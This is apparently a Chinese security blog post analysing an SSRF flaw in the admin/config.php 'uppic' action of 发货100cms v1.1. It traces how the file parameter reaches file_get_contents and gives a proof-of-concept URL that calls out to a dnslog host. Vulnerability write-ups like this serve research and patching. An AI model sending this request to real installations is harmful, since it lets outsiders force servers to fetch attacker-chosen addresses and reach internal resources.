发货100cms存在SSRF漏洞分析

原创猫鼠信安猫鼠信安 2024-12-02 01:51

声明：该公众号分享的安全工具和项目均来源于网络，仅供安全研究与学习之用，如用于其他用途，由使用者承担全部法律及连带责任，与工具作者和本公众号无关。

现在只对常读和星标的公众号才展示大图推送，建议大家把
猫鼠信安
“
设为星标
”，
否则可能看不到了
！

下载最新版本即可。

影响版本：
v1.1_build20240803

漏洞分析：

涉及到的文件：admin/config.php

1、
当action等于uppic时，使用get的方式传参，并把file的值传到file变量，此后再进入if(tooss($file))进行判断

跟进tooss方法可以看到上述的值传递到tooss方法中，并传递到if判断语句中的
file_get_contents
，直接导致ssrf漏洞产生

漏洞复现：

根据上述分析代码，直接拼接语句

http:// 127.0.0.1:82/admin/config.php?action=uppic&file=你的payload

漏洞url为：

http://127.0.0.1:82/admin/config.php?action=uppic&file=http://mazqd8.dnslog.cn

登录系统的状态下访问漏洞url

可以看到外带回显成功，证明存在ssrf

注：仅供安全研究与学习之用，若将工具做其他用途，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任。